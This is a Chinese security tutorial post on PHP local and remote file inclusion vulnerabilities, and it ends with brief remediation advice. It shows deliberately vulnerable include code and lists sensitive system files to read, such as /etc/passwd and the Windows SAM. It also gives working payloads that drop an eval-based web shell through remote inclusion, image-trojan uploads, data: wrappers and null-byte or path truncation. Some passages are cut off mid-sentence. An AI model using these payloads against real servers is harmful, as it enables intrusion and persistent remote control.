文件包含漏洞

# php文件包含漏洞

PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()
  • ……

本地包含漏洞(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:

<?php
    Include("phpinfo.txt");
?>

  访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写

远程包含漏洞

前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:

<?php
   echo "hello world";
?>

新建index.php:

<?php
    Include($_GET['page']);
?>

访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

文件包含利用

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

LINUX:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                             mysql配置文件

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

  如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt
则会在服务器根目录下生产一个shell.php
内容为:

<?php   eval($_POST[nmask]);?>

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日志拿shell

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。
  如访问URL:http://www.xxx.com/

利用php协议进行包含

data:  php5.2以后版本
php://input  需要开启allow_url_include

poc:

http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?php
    Include  $_GET['page'].".php"
?>

(一)00截断包含
新建1.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

  这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

(二)使用长目录截断

././././././././././././././etc/passwd
或者
////////////////////////////etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

文件包含漏洞修复

开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
关闭allow_url_include函数,防止远程文件包含。

原文链接

namsk-文件包含漏洞

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值